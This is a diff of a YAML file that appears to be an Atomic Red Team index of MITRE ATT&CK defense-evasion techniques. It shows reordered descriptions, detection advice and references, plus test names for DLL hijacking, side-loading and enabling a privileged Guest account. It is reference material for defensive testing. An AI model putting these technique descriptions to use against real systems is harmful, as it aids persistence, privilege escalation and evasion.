-        description: Google. (n.d.). Audit Logs. Retrieved June 1, 2020.
-      - source_name: GCP - Creating and Starting a VM
-        url: https://cloud.google.com/compute/docs/instances/create-start-instance#api_2
-        description: Google. (2020, April 23). Creating and Starting a VM instance.
-          Retrieved May 1, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Create Snapshot
+      x_mitre_data_sources:
+      - 'Snapshot: Snapshot Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-03-08T10:33:02.060Z'
+      created: '2020-06-09T15:33:13.563Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1
+      x_mitre_platforms:
+      - IaaS
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: |-
         An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.
 
         An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)
-      id: attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2021-03-08T10:33:02.060Z'
-      created: '2020-06-09T15:33:13.563Z'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
+      x_mitre_contributors:
+      - Praetorian
       x_mitre_detection: |-
         The creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account.
 
@@ -24252,15 +24615,54 @@ defense-evasion:
         In Azure, the creation of a snapshot may be captured in Azure activity logs. Backup restoration events can also be detected through Azure Monitor Log Data by creating a custom alert for completed restore jobs.(Citation: Azure - Monitor Logs)
 
         Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the <code>gcloud compute instances create</code> command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the <code>"sourceSnapshot":</code> parameter pointed to <code>"global/snapshots/[BOOT_SNAPSHOT_NAME]</code>.(Citation: GCP - Creating and Starting a VM)
-      x_mitre_data_sources:
-      - 'Snapshot: Snapshot Creation'
-      x_mitre_contributors:
-      - Praetorian
-      x_mitre_platforms:
-      - IaaS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1578/001
+        external_id: T1578.001
+        source_name: mitre-attack
+      - url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
+        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
+          2020.
+        source_name: Mandiant M-Trends 2020
+      - url: https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html
+        description: Amazon. (2020). Logging AWS Backup API Calls with AWS CloudTrail.
+          Retrieved April 27, 2020.
+        source_name: AWS Cloud Trail Backup API
+      - url: https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor
+        description: Microsoft. (2019, June 4). Monitor at scale by using Azure Monitor.
+          Retrieved May 1, 2020.
+        source_name: Azure - Monitor Logs
+      - url: https://cloud.google.com/logging/docs/audit#admin-activity
+        description: Google. (n.d.). Audit Logs. Retrieved June 1, 2020.
+        source_name: Cloud Audit Logs
+      - url: https://cloud.google.com/compute/docs/instances/create-start-instance#api_2
+        description: Google. (2020, April 23). Creating and Starting a VM instance.
+          Retrieved May 1, 2020.
+        source_name: GCP - Creating and Starting a VM
     atomic_tests: []
   T1574.001:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: DLL Search Order Hijacking
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Module: Module Load'
+      x_mitre_version: '1.1'
+      modified: '2021-04-26T18:37:03.748Z'
+      created: '2020-03-13T18:11:08.357Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34
       description: |-
         Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.
@@ -24270,67 +24672,9 @@ defense-evasion:
         Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)
 
         If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.
-      name: DLL Search Order Hijacking
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.001
-        url: https://attack.mitre.org/techniques/T1574/001
-      - external_id: CAPEC-471
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/471.html
-      - source_name: Microsoft Dynamic Link Library Search Order
-        url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN
-        description: Microsoft. (2018, May 31). Dynamic-Link Library Search Order.
-          Retrieved November 30, 2014.
-      - source_name: FireEye Hijacking July 2010
-        url: https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html
-        description: Harbour, N. (2010, July 15). Malware Persistence without the
-          Windows Registry. Retrieved November 17, 2020.
-      - source_name: OWASP Binary Planting
-        description: OWASP. (2013, January 30). Binary planting. Retrieved June 7,
-          2016.
-        url: https://www.owasp.org/index.php/Binary_planting
-      - source_name: FireEye fxsst June 2011
-        url: https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html
-        description: Harbour, N. (2011, June 3). What the fxsst?. Retrieved November
-          17, 2020.
-      - source_name: Microsoft Security Advisory 2269637
-        url: https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637
-        description: Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved
-          March 13, 2020.
-      - source_name: Microsoft Dynamic-Link Library Redirection
-        url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN
-        description: Microsoft. (2018, May 31). Dynamic-Link Library Redirection.
-          Retrieved March 13, 2020.
-      - source_name: Microsoft Manifests
-        description: Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.
-        url: https://msdn.microsoft.com/en-US/library/aa375365
-      - source_name: FireEye DLL Search Order Hijacking
-        url: https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html
-        description: Nick Harbour. (2010, September 1). DLL Search Order Hijacking
-          Revisited. Retrieved March 13, 2020.
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2021-04-26T18:37:03.748Z'
-      created: '2020-03-13T18:11:08.357Z'
-      x_mitre_platforms:
-      - Windows
       x_mitre_contributors:
       - Travis Smith, Tripwire
       - Stefan Kanthak
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Module: Module Load'
       x_mitre_detection: Monitor file systems for moving, renaming, replacing, or
         modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared
         with past behavior) that do not correlate with known software, patches, etc.,
@@ -24338,8 +24682,45 @@ defense-evasion:
         the same file name but abnormal paths. Modifications to or creation of `.manifest`
         and `.local` redirection files that do not correlate with software updates
         are suspicious.
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/001
+        external_id: T1574.001
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/471.html
+        external_id: CAPEC-471
+        source_name: capec
+      - url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN
+        description: Microsoft. (2018, May 31). Dynamic-Link Library Search Order.
+          Retrieved November 30, 2014.
+        source_name: Microsoft Dynamic Link Library Search Order
+      - url: https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html
+        description: Harbour, N. (2010, July 15). Malware Persistence without the
+          Windows Registry. Retrieved November 17, 2020.
+        source_name: FireEye Hijacking July 2010
+      - url: https://www.owasp.org/index.php/Binary_planting
+        description: OWASP. (2013, January 30). Binary planting. Retrieved June 7,
+          2016.
+        source_name: OWASP Binary Planting
+      - url: https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html
+        description: Harbour, N. (2011, June 3). What the fxsst?. Retrieved November
+          17, 2020.
+        source_name: FireEye fxsst June 2011
+      - url: https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637
+        description: Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved
+          March 13, 2020.
+        source_name: Microsoft Security Advisory 2269637
+      - url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN
+        description: Microsoft. (2018, May 31). Dynamic-Link Library Redirection.
+          Retrieved March 13, 2020.
+        source_name: Microsoft Dynamic-Link Library Redirection
+      - url: https://msdn.microsoft.com/en-US/library/aa375365
+        description: Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.
+        source_name: Microsoft Manifests
+      - url: https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html
+        description: Nick Harbour. (2010, September 1). DLL Search Order Hijacking
+          Revisited. Retrieved March 13, 2020.
+        source_name: FireEye DLL Search Order Hijacking
       identifier: T1574.001
     atomic_tests:
     - name: DLL Search Order Hijacking - amsi.dll
@@ -24363,8 +24744,29 @@ defense-evasion:
         elevation_required: true
   T1574.002:
     technique:
-      created: '2020-03-13T19:41:37.908Z'
+      type: attack-pattern
       modified: '2021-04-26T18:31:34.954Z'
+      name: DLL Side-Loading
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Module: Module Load'
+      - 'Process: Process Creation'
+      x_mitre_version: '2.0'
+      created: '2020-03-13T19:41:37.908Z'
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Application control
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b
+      description: |-
+        Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
+
+        Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
@@ -24372,44 +24774,23 @@ defense-evasion:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      type: attack-pattern
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.002
-        url: https://attack.mitre.org/techniques/T1574/002
-      - external_id: CAPEC-641
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/641.html
-      - source_name: FireEye DLL Side-Loading
-        url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf
-        description: 'Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in
-          the Side of the Anti-Virus Industry. Retrieved March 13, 2020.'
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: DLL Side-Loading
-      description: |-
-        Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
-
-        Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)
-      id: attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Application control
-      x_mitre_version: '2.0'
-      x_mitre_is_subtechnique: true
       x_mitre_detection: Monitor processes for unusual activity (e.g., a process that
         does not use the network begins to do so) as well as the introduction of new
         files/programs. Track DLL metadata, such as a hash, and compare DLLs that
         are loaded at process execution time against previous executions to detect
         differences that do not correlate with patching or updates.
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Module: Module Load'
-      - 'Process: Process Creation'
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/002
+        external_id: T1574.002
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/641.html
+        external_id: CAPEC-641
+        source_name: capec
+      - url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf
+        description: 'Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in
+          the Side of the Anti-Virus Industry. Retrieved March 13, 2020.'
+        source_name: FireEye DLL Side-Loading
       identifier: T1574.002
     atomic_tests:
     - name: DLL Side-Loading using the Notepad++ GUP.exe binary
@@ -24448,60 +24829,19 @@ defense-evasion:
         name: command_prompt
   T1078.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1078.001
-        url: https://attack.mitre.org/techniques/T1078/001
-      - external_id: CAPEC-70
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/70.html
-      - source_name: Microsoft Local Accounts Feb 2019
-        url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts
-        description: Microsoft. (2018, December 9). Local Accounts. Retrieved February
-          11, 2019.
-      - source_name: AWS Root User
-        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html
-        description: Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.
-      - source_name: Threat Matrix for Kubernetes
-        url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
-        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
-          March 30, 2021.
-      - source_name: Metasploit SSH Module
-        url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh
-        description: Metasploit. (n.d.). Retrieved April 12, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Default Accounts
-      description: |-
-        Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)
-
-        Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)
-      id: attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: initial-access
-      modified: '2021-04-05T20:14:26.846Z'
-      created: '2020-03-13T20:15:31.974Z'
-      x_mitre_version: '1.2'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      x_mitre_detection: Monitor whether default accounts have been activated or logged
-        into. These audits should also include checks on any appliances and applications
-        for default credentials or SSH keys, and if any are discovered, they should
-        be updated immediately.
+      name: Default Accounts
       x_mitre_data_sources:
       - 'User Account: User Account Authentication'
       - 'Logon Session: Logon Session Creation'
+      x_mitre_version: '1.2'
+      modified: '2021-04-05T20:14:26.846Z'
+      created: '2020-03-13T20:15:31.974Z'
+      x_mitre_permissions_required:
+      - Administrator
+      - User
       x_mitre_platforms:
       - Windows
       - Azure AD
@@ -24512,6 +24852,47 @@ defense-evasion:
       - macOS
       - Google Workspace
       - Containers
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d
+      description: |-
+        Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)
+
+        Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: initial-access
+      x_mitre_detection: Monitor whether default accounts have been activated or logged
+        into. These audits should also include checks on any appliances and applications
+        for default credentials or SSH keys, and if any are discovered, they should
+        be updated immediately.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1078/001
+        external_id: T1078.001
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/70.html
+        external_id: CAPEC-70
+        source_name: capec
+      - url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts
+        description: Microsoft. (2018, December 9). Local Accounts. Retrieved February
+          11, 2019.
+        source_name: Microsoft Local Accounts Feb 2019
+      - url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html
+        description: Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.
+        source_name: AWS Root User
+      - url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
+        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
+          March 30, 2021.
+        source_name: Threat Matrix for Kubernetes
+      - url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh
+        description: Metasploit. (n.d.). Retrieved April 12, 2019.
+        source_name: Metasploit SSH Module
       identifier: T1078.001
     atomic_tests:
     - name: Enable Guest account with RDP capability and admin privileges
@@ -24583,113 +24964,113 @@ defense-evasion:
         elevation_required: true
   T1578.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1578.003
-        url: https://attack.mitre.org/techniques/T1578/003
-      - source_name: Mandiant M-Trends 2020
-        url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
-        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
-          2020.
-      - source_name: AWS CloudTrail Search
-        url: https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/
-        description: Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances.
-          Retrieved June 17, 2020.
-      - source_name: Azure Activity Logs
-        url: https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs
-        description: Microsoft. (n.d.). View Azure activity logs. Retrieved June 17,
-          2020.
-      - source_name: Cloud Audit Logs
-        url: https://cloud.google.com/logging/docs/audit#admin-activity
-        description: Google. (n.d.). Audit Logs. Retrieved June 1, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Delete Cloud Instance
-      description: |-
-        An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence.  Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.
-
-        An adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)
-      id: attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2021-03-08T10:33:02.083Z'
-      created: '2020-06-16T17:23:06.508Z'
-      x_mitre_detection: |-
-        The deletion of a new instance or virtual machine is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, detecting a sequence of events such as the creation of an instance, mounting of a snapshot to that instance, and deletion of that instance by a new user account may indicate suspicious activity.
-
-        In AWS, CloudTrail logs capture the deletion of an instance in the <code>TerminateInstances</code> event, and in Azure the deletion of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of <code>gcloud compute instances delete</code> to delete a VM.(Citation: Cloud Audit Logs)
+      name: Delete Cloud Instance
       x_mitre_data_sources:
       - 'Instance: Instance Deletion'
       x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
+      modified: '2021-03-08T10:33:02.083Z'
+      created: '2020-06-16T17:23:06.508Z'
       x_mitre_permissions_required:
       - User
       x_mitre_platforms:
       - IaaS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4
+      description: |-
+        An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence.  Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.
+
+        An adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      x_mitre_detection: |-
+        The deletion of a new instance or virtual machine is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, detecting a sequence of events such as the creation of an instance, mounting of a snapshot to that instance, and deletion of that instance by a new user account may indicate suspicious activity.
+
+        In AWS, CloudTrail logs capture the deletion of an instance in the <code>TerminateInstances</code> event, and in Azure the deletion of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of <code>gcloud compute instances delete</code> to delete a VM.(Citation: Cloud Audit Logs)
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1578/003
+        external_id: T1578.003
+        source_name: mitre-attack
+      - url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
+        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
+          2020.
+        source_name: Mandiant M-Trends 2020
+      - url: https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/
+        description: Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances.
+          Retrieved June 17, 2020.
+        source_name: AWS CloudTrail Search
+      - url: https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs
+        description: Microsoft. (n.d.). View Azure activity logs. Retrieved June 17,
+          2020.
+        source_name: Azure Activity Logs
+      - url: https://cloud.google.com/logging/docs/audit#admin-activity
+        description: Google. (n.d.). Audit Logs. Retrieved June 1, 2020.
+        source_name: Cloud Audit Logs
     atomic_tests: []
   T1140:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1140
-        url: https://attack.mitre.org/techniques/T1140
-      - url: https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/
-        description: Malwarebytes Labs. (2017, March 27). New targeted attack against
-          Saudi Arabia Government. Retrieved July 3, 2017.
-        source_name: Malwarebytes Targeted Attack against Saudi Arabia
-      - url: https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/
-        description: Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved
-          February 12, 2018.
-        source_name: Carbon Black Obfuscation Sept 2016
-      - url: https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/
-        description: 'Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election
-          Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January
-          11, 2017.'
-        source_name: Volexity PowerDuke November 2016
+      type: attack-pattern
+      name: Deobfuscate/Decode Files or Information
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'File: File Modification'
+      - 'Script: Script Execution'
+      x_mitre_version: '1.1'
+      modified: '2020-07-09T14:42:23.122Z'
+      created: '2017-12-14T16:46:06.044Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Host intrusion prevention systems
+      - Signature-based detection
+      - Network intrusion detection system
+      x_mitre_platforms:
+      - Windows
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
 
         One such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows <code>copy /b</code> command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)
 
         Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)
-      name: Deobfuscate/Decode Files or Information
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-07-09T14:42:23.122Z'
-      created: '2017-12-14T16:46:06.044Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.1'
       x_mitre_contributors:
       - Matthew Demaske, Adaptforward
       - Red Canary
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'File: File Modification'
